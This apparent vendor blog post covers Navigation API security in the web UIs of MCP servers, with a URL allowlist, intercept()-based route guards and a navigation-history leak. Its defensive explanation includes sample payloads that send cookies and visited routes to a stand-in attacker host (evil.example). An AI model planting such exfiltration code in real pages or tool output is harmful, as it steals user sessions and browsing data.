Blog · MCP Server Security
MCP server Navigation API security — navigate event interception, destination URL validation, and navigation timing information leak
The Navigation API (window.navigation) gives MCP server UIs a powerful single interception point for all same-document and same-origin navigations. That power cuts both ways: attacker-controlled tool output can inject destinations, bypass route guards, and silently read the session's full navigation history unless each path is explicitly hardened.
Navigation API vs History API: what MCP UIs need to know
The classic History API (history.pushState, popstate event) fires only for same-document navigations that you explicitly trigger. The Navigation API fires a navigate event for every navigation — user-initiated link clicks, form submissions, navigation.navigate() calls, and browser back/forward — covering both same-document and cross-document navigations on the same origin. This makes it the canonical place to enforce route-level authorization in a SPA-based MCP UI.
// Navigation API: one listener intercepts all navigations
window.navigation.addEventListener('navigate', (event) => {
const destination = event.destination.url;
console.log('Navigating to:', destination);
// event.destination.url is available BEFORE the navigation occurs
// event.intercept() cancels the default navigation and runs your handler
});
Scope difference matters: history.pushState fires popstate only on back/forward, not on programmatic pushes. The Navigation API fires navigate on all of them. An MCP UI that relied on popstate for route guards is silently unprotected for navigation.navigate(url) calls.
Destination URL injection from MCP tool output
A common MCP UI pattern passes tool-returned URLs directly to navigation.navigate(). If the tool output is attacker-controlled, every navigation primitive becomes an attack vector.
// VULNERABLE: MCP tool returns a redirectUrl the UI navigates to directly
async function handleToolResult(tool) {
const result = await callMcpTool(tool.name, tool.args);
// result.redirectUrl is attacker-controlled
window.navigation.navigate(result.redirectUrl); // open redirect
}
// Possible payloads in result.redirectUrl:
// "javascript:fetch('https://evil.example/steal?d='+document.cookie)"
// "data:text/html,"
// "/admin/users" // traversal to privileged SPA route
// "https://phish.example/login" // cross-origin redirect
javascript: URLs: Most browsers block javascript: navigations via the Navigation API, but browser coverage is inconsistent as of 2026. Do not rely on browser-level blocking — validate the destination explicitly.
The correct pattern is an allowlist check before any call to navigation.navigate() with external input:
const ALLOWED_ROUTES = new Set(['/dashboard', '/reports', '/profile', '/settings']);
function safeNavigate(url) {
let parsed;
try {
// Resolve relative URLs against the current origin
parsed = new URL(url, window.location.origin);
} catch {
throw new Error('Invalid URL from tool output');
}
// Reject cross-origin destinations entirely
if (parsed.origin !== window.location.origin) {
throw new Error('Cross-origin navigation blocked');
}
// Reject unlisted same-origin routes
if (!ALLOWED_ROUTES.has(parsed.pathname)) {
throw new Error(`Route not in allowlist: ${parsed.pathname}`);
}
window.navigation.navigate(parsed.pathname);
}
// In tool result handler:
safeNavigate(result.redirectUrl); // throws on any unlisted destination
NavigateEvent.intercept() for SPA route guarding
NavigateEvent.intercept() replaces the deprecated transitionWhile() and is the correct hook for authorization checks in modern SPAs. The key property: if the async handler passed to intercept() throws, the navigation is aborted and the URL does not change. This makes throwing on unauthorized routes both safe and idiomatic.
window.navigation.addEventListener('navigate', (event) => {
// Only intercept same-document navigations
if (!event.canIntercept || event.hashChange || event.downloadRequest) return;
event.intercept({
handler: async () => {
const destination = new URL(event.destination.url);
// Authorization check BEFORE rendering anything
const allowed = await checkRouteAuthorization(destination.pathname);
if (!allowed) {
// Throwing aborts the navigation — URL stays at current page
throw new Error(`Unauthorized route: ${destination.pathname}`);
}
// Only reach here if authorized
await renderRoute(destination.pathname);
}
});
});
Silent catch = silently bypassed guard: Wrapping the intercept handler in a try/catch and swallowing the error means the navigation is still aborted (good), but your error logging is lost and you cannot distinguish an unauthorized access attempt from a rendering failure. Re-throw authorization errors after logging.
The deprecated transitionWhile() method handled promise rejections differently — a rejected promise did not reliably abort the navigation in all Chrome versions, and the URL could update while the route's content was never rendered, leaving the SPA in a broken state. Any codebase that still uses transitionWhile() should migrate to intercept().
// DEPRECATED — do not use in new code
event.transitionWhile(
renderRoute(event.destination.url) // rejection may not abort navigation
);
// CORRECT — intercept() + throw aborts navigation reliably
event.intercept({
handler: async () => {
if (!authorized) throw new Error('blocked');
await renderRoute(event.destination.url);
}
});
navigation.entries() as a navigation history exfiltration vector
window.navigation.entries() returns an array of NavigationHistoryEntry objects for every same-document navigation that occurred in the current browsing session. Each entry exposes its full url string. For an MCP UI where different routes expose different data (admin panels, user profiles, report pages), this is a complete audit trail of the user's in-session activity.
// What an MCP tool running in the page context can read:
const history = window.navigation.entries();
const visitedRoutes = history.map(entry => entry.url);
// Example output:
// [
// "https://app.example.com/dashboard",
// "https://app.example.com/admin/users/4821",
// "https://app.example.com/reports/financial-q1-2026",
// "https://app.example.com/admin/settings/api-keys"
// ]
// Exfiltrate to attacker server:
fetch('https://evil.example/log', {
method: 'POST',
body: JSON.stringify({ history: visitedRoutes }),
keepalive: true
});
Defense: Never render attacker-controlled MCP tool output in the same browsing context as the main application. Sandbox tool output in cross-origin <iframe> elements — tool content in a different origin cannot access the parent's window.navigation.entries().
Navigation API security patterns — comparison
| Pattern | Navigation API behavior | Security risk | Defense |
|---|---|---|---|
navigate(tool.redirectUrl) without validation |
Navigates to any URL the tool returns, including data: and cross-origin URLs |
Open redirect, route injection, cross-origin navigation | Validate URL against allowlist before calling navigate() |
navigate() with origin + pathname allowlist |
Only same-origin, explicitly permitted routes can be destinations | No injection risk from tool output | This IS the defense — implement origin check + route allowlist |
intercept() handler that throws on unauthorized route |
Navigation is aborted; URL does not update; page stays on current route | No risk — unauthorized routes never render | Ensure errors are re-thrown, not swallowed by inner try/catch |
entries() accessible to tool output rendering context |
Full session URL history readable synchronously without permissions | Navigation history exfiltration reveals visited admin/profile routes | Sandbox tool output in cross-origin iframes |
Cross-document navigation without CSP navigate-to |
Browser navigates to any same-origin URL on cross-document links | MCP tool can trigger navigation to privileged pages outside SPA | Add Content-Security-Policy: navigate-to 'self' + intercept handler |
SkillAudit findings for the Navigation API
navigation.navigate(); attacker-controlled destination enables open redirect and same-origin route injection. Score: −18.
event.transitionWhile(promise) which does not reliably abort navigation on rejection in older Chrome versions; route guard may not execute when promise rejects. Score: −6.
Audit your MCP server for Navigation API security issues
SkillAudit detects unvalidated navigate() calls with tool output, swallowed intercept handler errors, accessible navigation.entries() in tool rendering contexts, and missing route allowlists. Free audit in 60 seconds.